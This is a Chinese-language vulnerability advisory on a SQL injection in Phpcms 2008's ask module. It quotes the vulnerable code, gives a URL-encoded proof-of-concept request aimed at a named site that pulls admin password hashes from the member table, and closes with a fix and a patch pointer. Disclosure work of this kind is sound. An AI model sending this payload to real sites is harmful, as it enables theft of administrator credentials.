影响版本:
Phpcms 2008漏洞描述:
在文件ask/query.php中:
case edit_answer: //第39行
if($dosubmit)
{
if(strlen($answertext) > 10000) showmessage(回答字数不能超过10000个字符);
$posts[message] = $M[use_editor] ? $answertext : strip_tags($answertext);
$answer->edit($pid, $posts, $_userid);
$answer->edit在文件askincludeanswer.class.php中:
function edit($id, $posts, $userid) //第109行
{
$id = intval($id);
$userid = intval($userid);
if(!$id || !is_array($posts)) return false;
if($userid) $sql = " AND userid=$userid";
return $this->db->update($this->table_posts, $posts, "pid=$id $sql");
}
db->update在文件include/ db_mysql.class.php中,代码:
function update($tablename, $array, $where = ) //第83行
{
if($where)
{
$sql = ;
foreach($array as $k=>$v)
{
$sql .= ", `$k`=$v";
}
$sql = substr($sql, 1);
$sql = "UPDATE `$tablename` SET $sql WHERE $where";
数组变量$posts没有初始化,导致注入漏洞的产生
测试:
http://ennuu.com/ask/query.php?action=edit_answer&dosubmit=1&pid=2&posts[%6D%65%73%73%61%67%65%60%3D%28%73%65%6C%65%63%74%20%70%61%73%73%77%6F%72%64%20%66%72%6F%6D%20%70%68%70%63%6D%73%5F%6D%65%6D%62%65%72%20%77%68%65%72%65%20%67%72%6F%75%70%69%64%3D%31%29%20%77%68%65%72%65%20%61%73%6B%69%64%3D%32%23]SEBUG安全建议:
临时解决办法
初始化数组变量$posts
厂商补丁:
PHPCMS
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.phpcms.cn